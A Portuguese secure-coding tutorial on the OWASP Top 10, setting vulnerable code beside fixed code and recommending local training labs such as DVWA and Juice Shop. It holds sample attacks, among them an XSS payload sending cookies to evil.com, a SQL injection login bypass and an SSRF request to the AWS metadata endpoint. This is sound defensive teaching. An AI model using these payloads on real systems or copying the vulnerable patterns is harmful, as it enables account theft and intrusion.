OWASP Top 10: Vulnerabilidades com exemplos práticos e ambiente de testes
OWASP (Open Web Application Security Project) publica periodicamente as 10 vulnerabilidades mais críticas em aplicações web. Conhecer essas falhas é essencial para todo desenvolvedor: não basta saber programar, é preciso programar com segurança. Este guia apresenta cada vulnerabilidade com exemplos de código vulnerável e corrigido, além de orientar como criar um ambiente seguro para explorar essas falhas na prática e aprender a defendê-las.
Por que OWASP Top 10 importa
- Vulnerabilidades reais: não são teóricas; são exploradas ativamente por atacantes.
- Impacto massivo: vazamento de dados, sequestro de contas, comprometimento de servidores.
- Responsabilidade compartilhada: segurança não é só tarefa do time de InfoSec; todo desenvolvedor deve escrever código seguro.
- Compliance: frameworks como PCI-DSS, ISO 27001, LGPD exigem mitigação dessas vulnerabilidades.
1. Broken Access Control (Controle de acesso quebrado)
O que é: Usuários conseguem acessar recursos ou executar ações fora de suas permissões.
Exemplo vulnerável (Node.js/Express)
// Rota para ver perfil de usuário
app.get('/api/users/:id', (req, res) => {
const userId = req.params.id;
const user = db.getUserById(userId);
res.json(user); // Qualquer um pode ver qualquer perfil!
});
Exploração: Atacante muda ID na URL (/api/users/123 para /api/users/456) e acessa dados de outros usuários.
Exemplo corrigido
app.get('/api/users/:id', authenticateToken, (req, res) => {
const userId = req.params.id;
const requestingUserId = req.user.id; // do token JWT
// Verifica se usuário pode acessar esse perfil
if (userId !== requestingUserId && !req.user.isAdmin) {
return res.status(403).json({ error: 'Acesso negado' });
}
const user = db.getUserById(userId);
res.json(user);
});
Mitigação: Sempre valide permissões no backend, nunca confie apenas em controles de UI.
2. SQL Injection (SQLi)
O que é: Atacante injeta código SQL malicioso em inputs, manipulando queries do banco de dados.
Exemplo vulnerável (Python/Flask)
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
# VULNERÁVEL: concatenação direta
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
user = db.execute(query).fetchone()
if user:
return "Login sucesso"
return "Falha no login"
Exploração: Atacante envia username: admin' OR '1'='1 e password: qualquercoisa. Query vira:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='qualquercoisa'
'1'='1' é sempre verdadeiro, bypassa autenticação.
Exemplo corrigido (Prepared Statements)
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
# Usa prepared statement (parameterized query)
query = "SELECT * FROM users WHERE username=? AND password=?"
user = db.execute(query, (username, password)).fetchone()
if user:
return "Login sucesso"
return "Falha no login"
Mitigação: Use sempre prepared statements/parameterized queries. Nunca concatene strings diretamente em SQL.
3. Cross-Site Scripting (XSS)
O que é: Atacante injeta JavaScript malicioso que é executado no browser de outros usuários.
Exemplo vulnerável (HTML/JavaScript)
<!-- Comentários em um blog -->
<div id="comentarios"></div>
<script>
function exibirComentarios(comentarios) {
let html = '';
comentarios.forEach(c => {
// VULNERÁVEL: insere HTML direto sem sanitização
html += `<p>${c.autor}: ${c.texto}</p>`;
});
document.getElementById('comentarios').innerHTML = html;
}
</script>
Exploração: Atacante posta comentário: <script>fetch('https://evil.com?cookie='+document.cookie)</script>. Quando outros usuários carregam a página, o script rouba seus cookies.
Exemplo corrigido
function exibirComentarios(comentarios) {
const container = document.getElementById('comentarios');
container.innerHTML = ''; // limpa
comentarios.forEach(c => {
const p = document.createElement('p');
// textContent escapa HTML automaticamente
p.textContent = `${c.autor}: ${c.texto}`;
container.appendChild(p);
});
}
Mitigação: Use textContent (não innerHTML). No backend, sanitize inputs (libs como DOMPurify). Configure CSP (Content Security Policy).
4. Insecure Design (Design inseguro)
O que é: Falhas arquiteturais que não podem ser corrigidas apenas com código; o design do sistema é inerentemente inseguro.
Exemplo vulnerável
Sistema de recuperação de senha envia nova senha por email sem validação adicional. Atacante que tem acesso ao email da vítima (ou intercepta) consegue trocar senha.
Exemplo corrigido
Implementar recuperação de senha com:
- Token temporário único (expira em 15 minutos).
- Link enviado por email com token.
- Usuário clica, é redirecionado para página onde define nova senha.
- Token é invalidado após uso.
- Adicionar verificação secundária (pergunta de segurança, SMS).
Mitigação: Threat modeling, design reviews, princípio do menor privilégio, defesa em profundidade.
5. Security Misconfiguration (Configuração incorreta)
O que é: Configurações padrão inseguras, mensagens de erro detalhadas, serviços desnecessários expostos.
Exemplo vulnerável
// Express em produção com stack traces expostos
app.use((err, req, res, next) => {
res.status(500).json({
error: err.message,
stack: err.stack // Expõe estrutura interna do código!
});
});
Exploração: Atacante provoca erros e analisa stack traces para mapear estrutura da aplicação e encontrar vulnerabilidades.
Exemplo corrigido
app.use((err, req, res, next) => {
console.error(err.stack); // loga internamente
res.status(500).json({
error: 'Erro interno do servidor' // mensagem genérica
});
});
Mitigação: Desabilite stack traces em produção, remova endpoints de debug, mantenha software atualizado, use scanners de configuração (Lynis, OpenSCAP).
6. Vulnerable and Outdated Components
O que é: Uso de bibliotecas, frameworks ou dependências com vulnerabilidades conhecidas.
Exemplo
Aplicação usa versão antiga de biblioteca com CVE (Common Vulnerabilities and Exposures) conhecida. Atacante explora a falha pública.
Mitigação
- Mantenha dependências atualizadas:
npm audit,pip-audit, Dependabot. - Use ferramentas SCA (Software Composition Analysis): Snyk, OWASP Dependency-Check.
- Monitore CVEs de bibliotecas críticas.
- Remova dependências não utilizadas.
7. Identification and Authentication Failures
O que é: Falhas em autenticação, gestão de sessões, recuperação de credenciais.
Exemplo vulnerável
// Senha armazenada em texto plano
db.execute("INSERT INTO users (username, password) VALUES (?, ?)",
(username, password)) // NUNCA faça isso!
Exemplo corrigido
import bcrypt
hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
db.execute("INSERT INTO users (username, password) VALUES (?, ?)",
(username, hashed))
Mitigação: Hash senhas (bcrypt, Argon2), implemente MFA, rate limiting em login, sessões seguras (HTTPOnly, Secure, SameSite cookies).
8. Software and Data Integrity Failures
O que é: Código ou infraestrutura assumem que dados/software não foram alterados maliciosamente.
Exemplo vulnerável
Aplicação consome API externa sem validar assinatura/checksum. Atacante que compromete API injeta payload malicioso.
Mitigação
- Valide checksums/assinaturas digitais de pacotes baixados.
- Use pipelines CI/CD com verificação de integridade.
- Implemente assinatura digital em updates automáticos.
9. Security Logging and Monitoring Failures
O que é: Falhas não são logadas, logs não são monitorados, ataques passam despercebidos.
Exemplo vulnerável
// Login sem logging
if (username == user.username && password == user.password) {
return token;
}
Atacante tenta brute force em milhares de contas e ninguém percebe.
Exemplo corrigido
if (username == user.username && password == user.password) {
logger.info(f"Login sucesso: {username} de {request.ip}")
return token;
} else {
logger.warning(f"Login falhou: {username} de {request.ip}")
rate_limiter.increment(request.ip)
}
Mitigação: Logue eventos críticos (login, mudança de senha, acesso a dados sensíveis), monitore logs com SIEM, configure alertas.
10. Server-Side Request Forgery (SSRF)
O que é: Atacante força servidor a fazer requisições HTTP para destinos arbitrários (rede interna, cloud metadata endpoints).
Exemplo vulnerável
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # VULNERÁVEL
return response.text
Exploração: Atacante passa url=http://169.254.169.254/latest/meta-data/ (AWS metadata endpoint) e rouba credenciais da instância EC2.
Exemplo corrigido
ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
parsed = urlparse(url)
# Valida domínio
if parsed.netloc not in ALLOWED_DOMAINS:
return "Domínio não permitido", 400
# Bloqueia IPs privados
ip = socket.gethostbyname(parsed.netloc)
if ipaddress.ip_address(ip).is_private:
return "IP privado bloqueado", 400
response = requests.get(url, timeout=5)
return response.text
Mitigação: Whitelist de domínios, bloqueie IPs privados (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254), use network segmentation.
Cross-Site Request Forgery (CSRF) - Bônus
Embora não esteja no Top 10 atual, CSRF ainda é relevante.
Exemplo vulnerável
<!-- Transferência bancária -->
<form action="/transfer" method="POST">
<input name="to" value="conta_destino">
<input name="amount" value="1000">
<button>Transferir</button>
</form>
Atacante cria site malicioso com formulário oculto que submete automaticamente para /transfer. Se vítima está logada, a transferência é executada.
Exemplo corrigido
<!-- Frontend: inclui token CSRF -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="{{csrf_token}}">
<input name="to" value="conta_destino">
<input name="amount" value="1000">
<button>Transferir</button>
</form>
# Backend: valida token
@app.route('/transfer', methods=['POST'])
def transfer():
if request.form['csrf_token'] != session['csrf_token']:
return "Token CSRF inválido", 403
# processa transferência
Mitigação: Use tokens CSRF, configure cookies com SameSite=Strict, valide Origin/Referer headers.
Criando ambiente de testes seguro
Aprender segurança na prática requer ambiente isolado. Nunca teste em sistemas reais ou de terceiros sem autorização explícita.
Opção 1: DVWA (Damn Vulnerable Web Application)
Aplicação PHP intencionalmente vulnerável para treinar AppSec.
# Instalar via Docker
docker run -d -p 80:80 vulnerables/web-dvwa
# Acesse http://localhost
# Login padrão: admin / password
# Configure nível de segurança (Low para começar)
Exercícios práticos em DVWA:
- SQL Injection: tente extrair dados de outras tabelas.
- XSS: injete scripts e roube cookies (simulado).
- CSRF: crie página externa que force ação no DVWA.
- File Upload: faça upload de shell PHP e execute comandos.
Opção 2: OWASP Juice Shop
Aplicação moderna (Node.js/Angular) com dezenas de desafios de segurança.
docker run -d -p 3000:3000 bkimminich/juice-shop
# Acesse http://localhost:3000
Juice Shop tem scoreboard com desafios progressivos (fácil → difícil).
Opção 3: WebGoat (OWASP)
Plataforma de ensino interativa com lições guiadas.
docker run -d -p 8080:8080 webgoat/webgoat
# Acesse http://localhost:8080/WebGoat
Opção 4: Ambiente customizado
Crie sua própria aplicação vulnerável para testar conceitos específicos. Use Docker para isolar e destruir facilmente após testes.
# docker-compose.yml
version: '3'
services:
app:
build: .
ports:
- "5000:5000"
environment:
- DEBUG=1
db:
image: postgres:15
environment:
POSTGRES_PASSWORD: vulnerable123
Ferramentas para pentesting e análise
- Burp Suite Community: proxy para interceptar e modificar requests HTTP.
- OWASP ZAP: scanner de vulnerabilidades automatizado (open source).
- SQLMap: automatiza exploração de SQL Injection.
- XSStrike: detecta e explora XSS.
- Nikto: scanner de vulnerabilidades em servidores web.
- Nmap: mapeamento de portas e serviços.
Roteiro de aprendizado prático
- Semana 1: Configure DVWA, explore SQL Injection e XSS em nível Low.
- Semana 2: Aumente segurança para Medium, aprenda técnicas de bypass.
- Semana 3: Juice Shop, complete desafios de 1 a 3 estrelas.
- Semana 4: WebGoat, complete módulos de autenticação e access control.
- Semana 5: Audite código de projetos pessoais, identifique vulnerabilidades.
- Semana 6: Use Burp Suite/ZAP em aplicações de teste, analise tráfego HTTP.
Boas práticas de desenvolvimento seguro
- Princípio do menor privilégio: usuários/serviços só têm permissões mínimas necessárias.
- Defesa em profundidade: múltiplas camadas de segurança (WAF, validação input, validação output, least privilege).
- Nunca confie em inputs: valide e sanitize tudo que vem do usuário.
- Fail securely: em caso de erro, default é negar acesso, não conceder.
- Secrets management: nunca commite senhas/chaves no código; use vaults (AWS Secrets Manager, HashiCorp Vault).
- Code review com olhar de segurança: pergunte "como isso pode ser explorado?".
- Security testing automatizado: integre SAST (análise estática) e DAST (análise dinâmica) no CI/CD.
Recursos adicionais
- OWASP Top 10 oficial: owasp.org/www-project-top-ten
- PortSwigger Academy: treinamento gratuito de web security (criadores do Burp Suite).
- HackTheBox / TryHackMe: plataformas com labs de pentesting.
- OWASP Cheat Sheets: guias rápidos de boas práticas por tecnologia.
- PentesterLab: exercícios práticos de pentesting web.
Conclusão
Segurança não é opcional. Vulnerabilidades do OWASP Top 10 são exploradas diariamente, resultando em vazamentos massivos de dados, sequestro de contas e comprometimento de infraestrutura. Todo desenvolvedor tem responsabilidade de escrever código seguro: validar inputs, usar prepared statements, implementar autenticação robusta, logar eventos críticos e manter dependências atualizadas. Use ambientes de teste como DVWA, Juice Shop e WebGoat para praticar identificação e exploração de vulnerabilidades em contexto seguro. Combine conhecimento teórico com prática hands-on, integre análise de segurança no desenvolvimento (shift-left), e construa sistemas resilientes que protegem usuários e dados. Segurança é processo contínuo, não destino final.